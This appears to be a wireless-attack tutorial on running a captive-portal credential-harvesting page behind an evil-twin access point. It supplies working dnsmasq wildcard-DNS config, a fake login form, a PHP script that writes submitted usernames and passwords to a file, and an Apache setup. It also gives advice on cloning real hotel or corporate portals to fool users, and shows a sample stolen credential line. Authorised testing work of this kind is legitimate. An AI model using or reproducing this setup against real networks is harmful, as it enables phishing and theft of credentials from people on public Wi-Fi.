Captive Portal Credential Harvesting
A captive portal rogue AP combines an evil twin with a fake login page. Clients connecting to the open evil twin AP are redirected to a credential harvesting page regardless of what URL they try to visit. The page mimics the legitimate network's portal or a generic authentication page. Submitted credentials are logged server-side. This technique is effective against networks where users expect to authenticate through a portal such as hotel, cafe, or guest corporate networks.
This builds on the evil twin AP setup. Have hostapd-mana running with dnsmasq serving DHCP on wlan1 and the AP interface assigned 192.168.99.1 before continuing.
Configure dnsmasq for DNS Redirect
Redirect all DNS queries to the attacker's IP so any domain resolves to the portal page:
/tmp/dnsmasq-portal.conf
interface=wlan1
dhcp-range=192.168.99.2,192.168.99.254,255.255.255.0,12h
address=/#/192.168.99.1
no-resolv
address=/#/192.168.99.1 resolves every DNS query to the portal IP. Clients trying to reach any website get the attacker's IP back from DNS and land on the portal page.
Create the Captive Portal Credential Harvesting Page
Create a simple login page that logs submitted credentials:
/var/www/html/portal/index.html
<html>
<body>
<h2>Network Authentication Required</h2>
<form method="POST" action="/portal/capture.php">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Connect">
</form>
</body>
</html>
/var/www/html/portal/capture.php:
<?php
$log = date('Y-m-d H:i:s') . ' | ' . $_SERVER['REMOTE_ADDR'] . ' | ' . $_POST['username'] . ' | ' . $_POST['password'] . "\n";
file_put_contents('/tmp/portal-creds.txt', $log, FILE_APPEND);
header('Location: http://google.com');
Configure Apache to Serve the Portal
/etc/apache2/sites-available/portal.conf:
<VirtualHost *:80>
DocumentRoot /var/www/html/portal
DirectoryIndex index.html
<Directory /var/www/html/portal>
AllowOverride All
Require all granted
</Directory>
</VirtualHost>
Redirect HTTP Traffic with nftables
Force all HTTP traffic from connected clients to the local Apache server regardless of the destination they requested:
This redirects all TCP port 80 traffic arriving on wlan1 to the local portal. Combined with the DNS redirect from dnsmasq, clients hit the portal page for every HTTP request regardless of what domain they type.
Making the Captive Portal Convincing
A bare login form gets dismissed by most users. To increase the success rate of captive portal credential harvesting:
- Clone the legitimate portal page with
wget -mkEpor use the browser dev tools to save the full HTML. Match the CSS, logo, and layout exactly. - Use the target organization's branding. Hotel, airport, and corporate guest portals all have recognizable designs that users expect to see.
- Add a terms of service checkbox and a "remember me" option. These visual cues make the page feel authentic.
- Redirect to a real page after submission (e.g.
http://captive.apple.com/hotspot-detect.html) so the device dismisses the captive portal detection overlay. - Serve the page over HTTPS with a self-signed cert if possible. Some devices display a "Not Secure" warning on HTTP-only portals that makes users suspicious.
Common Failures in Captive Portal Attacks
Several things can break the captive portal flow:
- Modern devices use HTTPS-based captive portal detection (Apple uses
captive.apple.com, Android usesconnectivitycheck.gstatic.com). Since the DNS redirect returns your IP for these domains, the TLS handshake fails and the device may show a "no internet" warning instead of the portal. - Some devices open the captive portal in a sandboxed mini-browser that does not share cookies or sessions with the main browser, limiting what you can do after credential capture.
- If dnsmasq is not running or was started on the wrong interface, DNS resolution falls through to the upstream resolver and clients reach the real internet instead of the portal.
- Apache may not start if port 80 is already bound by another service. Check with
ss -tlnp | grep :80before starting.
Monitor Captured Credentials
2024-03-15 19:22:14 | 192.168.99.12 | john.smith | Summer2024!
Clean Up nftables Rules
Remove the redirect rule when finished:
References
-
nftables wiki: NAT configurationLINK: nftables wiki: NAT configuration, wiki.nftables.org/wiki-nftables/index.php/Performing_Network_Address_Translation_(NAT) (opens in new tab)
PREROUTING DNAT rule syntax for HTTP traffic redirection
-
dnsmasq documentationLINK: dnsmasq documentation, thekelleys.org.uk/dnsmasq/doc.html (opens in new tab)
address= directive for wildcard DNS redirect